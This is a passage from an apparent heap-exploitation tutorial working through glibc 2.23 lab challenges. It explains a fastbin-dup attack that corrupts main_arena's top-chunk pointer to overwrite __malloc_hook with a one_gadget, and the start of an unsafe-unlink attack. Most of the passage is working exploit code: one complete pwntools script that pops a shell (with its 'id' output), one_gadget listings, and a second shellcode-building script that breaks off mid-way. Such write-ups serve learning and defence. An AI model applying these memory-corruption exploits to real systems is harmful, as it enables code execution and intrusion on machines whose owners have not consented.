<p>So I hinted that there&rsquo;s a way to corrupt <kbd>main_arena</kbd>&rsquo;s top_chunk pointer to achieve a truly arbitrary write, and indeed we&rsquo;ll do just that.</p>
<p>The basic idea is that we have an arbitrary write over the fastbin head pointers; most values don&rsquo;t point to valid freed fastbin chunks and will therefore crash during the integrity checks when allocating from that fastbin, but what if we used that value to create a fake free fastbin cache inside <kbd>main_arena</kbd>?
Then we could use another fastbin dupe to clobber the <kbd>top</kbd> chunk pointer, which is convenient because allocations serviced from the top chunk are not subject to the same strict size integrity checks as fastbin chunks!</p>
<p>By settings the the <kbd>top</kbd> pointer to just before <kbd>__malloc_hook</kbd> (with some misalignment introduced to ensure the fake top chunk has a valid size field), we can jump to a one_gadget when we next call <kbd>malloc</kbd>:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>one_gadget <span style="color:#b6a0ff">$(</span>patchelf --print-rpath fastbin_dup_2<span style="color:#b6a0ff">)</span>/libc.so.6</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0xc4dbf execve(&#34;/bin/sh&#34;, r13, r12)
</span></span><span style="display:flex;"><span>constraints:
</span></span><span style="display:flex;"><span>  [r13] == NULL || r13 == NULL || r13 is a valid argv
</span></span><span style="display:flex;"><span>  [r12] == NULL || r12 == NULL || r12 is a valid envp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>0xc4ddf execve(&#34;/bin/sh&#34;, rbp-0x40, r12)
</span></span><span style="display:flex;"><span>constraints:
</span></span><span style="display:flex;"><span>  address rbp-0x38 is writable
</span></span><span style="display:flex;"><span>  rdi == NULL || {&#34;/bin/sh&#34;, rdi, NULL} is a valid argv
</span></span><span style="display:flex;"><span>  [r12] == NULL || r12 == NULL || r12 is a valid envp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>0xc4de6 execve(&#34;/bin/sh&#34;, rbp-0x40, r12)
</span></span><span style="display:flex;"><span>constraints:
</span></span><span style="display:flex;"><span>  address rbp-0x38 is writable
</span></span><span style="display:flex;"><span>  rax == NULL || {rax, rdi, NULL} is a valid argv
</span></span><span style="display:flex;"><span>  [r12] == NULL || r12 == NULL || r12 is a valid envp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>0xe1fa1 execve(&#34;/bin/sh&#34;, rsp+0x50, environ)
</span></span><span style="display:flex;"><span>constraints:
</span></span><span style="display:flex;"><span>  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv</span></span></code></pre></div>

<p>As it happens we control the contents of <code>[rsp+0x50]</code>, which we can set to a string that prevents further argument processing; <code>&quot;-s&quot;</code> does the trick for <kbd>dash</kbd>​/​<kbd>bash</kbd>.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;fastbin_dup_2&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>one_gadget <span style="color:#00d3d0">=</span> libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">+</span> <span style="color:#00bcff">0xe1fa1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x80 freelist: NULL</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;B&#34;</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">1</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk B] -&gt; [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; [chunk B] -&gt; [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(<span style="color:#00bcff">0x60</span>)) <span style="color:#a8a8a8"># chunk C</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk B] -&gt; [chunk A] -&gt; 0x60</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;D&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; 0x60</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;E&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: 0x60</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;F&#34;</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;G&#34;</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">5</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x60 freelist: [chunk F] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">6</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x60 freelist: [chunk G] -&gt; [chunk F] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">5</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x60 freelist: [chunk F] -&gt; [chunk G] -&gt; [chunk F] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>main_arena<span style="color:#00d3d0">+</span><span style="color:#00bcff">8</span>)) <span style="color:#a8a8a8"># chunk H</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x60 freelist: [chunk F] -&gt; [chunk G] -&gt; &amp;main_arena</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;-s</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>) <span style="color:#a8a8a8"># chunk I, lives at rsp+0x50 when __malloc_hook is executed</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x60 freelist: [chunk G] -&gt; &amp;main_arena</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;J&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x60 freelist: &amp;main_arena</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x48</span> <span style="color:#00d3d0">+</span> p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__malloc_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x1c</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># main_arena.top_chunk = &amp;__malloc_hook-0x10</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x80</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;L&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">20</span> <span style="color:#00d3d0">+</span> p64(one_gadget)) <span style="color:#a8a8a8"># chunk L</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># __malloc_hook = &amp;one_gadget</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x2d</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&#34;</span>) <span style="color:#a8a8a8"># chunk M</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># __malloc_hook triggered</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h2 id="unsafe-unlink">Unsafe unlink</h2>
<p>When a &ldquo;normal&rdquo; chunk is freed, it is added to the unsortedbin doubly linked list; this behaves very similarly to the fastbins, except there&rsquo;s now an additional <kbd>bk</kbd> pointer stored after the <kbd>fd</kbd> pointer.</p>
<p>But having a bunch of randomly sized chunks in a freelist is not really ideal, as we&rsquo;d like to be able to reclaim these chunks and use them for even larger allocations.
Enter chunk consolidation—when a chunk is freed, malloc will check if the chunk&rsquo;s neighboring chunks are also freed, in which case malloc will backwards and/or forwards consolidate the chunks into a single larger chunk.
But a freed chunk is still inside the unsortedbin we talked about earlier, so before this consolidation can occur malloc has to unlink one or more nodes from the unsortedbin linked list (as the chunk being freed is merged with one or both of its neighboring chunks).</p>
<p>In older versions of Glibc this linked list unlinking was not performed safely, so by corrupting heap chunks one could leverage this chunk consolidation for a (somewhat constrained) reflected write.<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<h3 id="solve">Solve</h3>
<p>In this challenge we can write 8 bytes past the end of our requested size, which we can use to corrupt the next chunk&rsquo;s size field <span class="underline">and flags</span>.</p>
<p>By clearing chunk B&rsquo;s <kbd>prev_inuse</kbd> flag, we can convince malloc that the chunk before chunk B (chunk A) is freed for the purposes of chunk consolidation when chunk B is freed.
When we free chunk B, malloc will attempt to unlink chunk A from the unsortedbin freelist by setting <span class="inline-src language-c" data-lang="c"><code>chunk_a.bk-&gt;fd = chunk_a.fd</code></span> and <span class="inline-src language-c" data-lang="c"><code>chunk_a.fd-&gt;bk = chunk_a.bk</code></span> (using temporary variables where appropriate):</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1413
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1414
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1415
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1416
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1417
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1418
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1419
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1420
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1421
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1422
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1423
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1424
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1425
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1426
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1427
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1428
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1429
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1430
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1431
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1432
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1433
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1434
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a8a8a8">#define unlink(AV, P, BK, FD) {\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">    FD = P-&gt;fd;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">    BK = P-&gt;bk;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">    FD-&gt;bk = BK;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">    BK-&gt;fd = FD;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">    if (!in_smallbin_range (P-&gt;size)\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">        &amp;&amp; __builtin_expect (P-&gt;fd_nextsize != NULL, 0)) {\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">            if (FD-&gt;fd_nextsize == NULL) {\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                if (P-&gt;fd_nextsize == P)\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                  FD-&gt;fd_nextsize = FD-&gt;bk_nextsize = FD;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                else {\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                    FD-&gt;fd_nextsize = P-&gt;fd_nextsize;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                    FD-&gt;bk_nextsize = P-&gt;bk_nextsize;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                    P-&gt;fd_nextsize-&gt;bk_nextsize = FD;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                    P-&gt;bk_nextsize-&gt;fd_nextsize = FD;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                }\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">            } else {\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                P-&gt;fd_nextsize-&gt;bk_nextsize = P-&gt;bk_nextsize;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                P-&gt;bk_nextsize-&gt;fd_nextsize = P-&gt;fd_nextsize;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">            }\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">    }\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">}</span></span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>With that in mind the exploit is pretty straightforward.
Unfortunately I can&rsquo;t use the OG method of writing shellcode on the heap because in QEMU/Rosetta the heap isn&rsquo;t marked executable (even though the stack is—weird), and we can&rsquo;t use a one_gadget because Glibc <code>.text</code> isn&rsquo;t writable:</p>





  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[*] &#39;./unsafe_unlink&#39;
</span></span><span style="display:flex;"><span>    Arch:       amd64-64-little
</span></span><span style="display:flex;"><span>    RELRO:      Full RELRO
</span></span><span style="display:flex;"><span>    Stack:      Canary found
</span></span><span style="display:flex;"><span>    NX:         NX unknown - GNU_STACK missing
</span></span><span style="display:flex;"><span>    PIE:        PIE enabled
</span></span><span style="display:flex;"><span>    Stack:      Executable
</span></span><span style="display:flex;"><span>    RWX:        Has RWX segments
</span></span><span style="display:flex;"><span>    RUNPATH:    b&#39;../.glibc/glibc_2.23_unsafe-unlink&#39;
</span></span><span style="display:flex;"><span>    Stripped:   No
</span></span><span style="display:flex;"><span>    Debuginfo:  Yes</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;unsafe_unlink&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit</span>(index, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;heap @ &#34;</span>)
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>shellcode <span style="color:#00d3d0">=</span> flat(
</span></span><span style="display:flex;"><span>    asm(<span style="color:#79a8ff">&#34;jmp .+18&#34;</span>),
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    asm(shellcraft<span style="color:#00d3d0">.</span>amd64<span style="color:#00d3d0">.</span>linux<span style="color:#00d3d0">.</span>sh())
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># start of the heap plus the size, fd, and bk fields of chunk A</span>
</span></span><span style="display:flex;"><span>shellcode_addr <span style="color:#00d3d0">=</span> heap <span style="color:#00d3d0">+</span> <span style="color:#00bcff">8</span> <span style="color:#00d3d0">+</span> <span style="color:#00bcff">8</span> <span style="color:#00d3d0">+</span> <span style="color:#00bcff">8</span> <span style="color:#00d3d0">+</span> <span style="color:#00bcff">8</span>
</span></span><span style="display:flex;"><span>
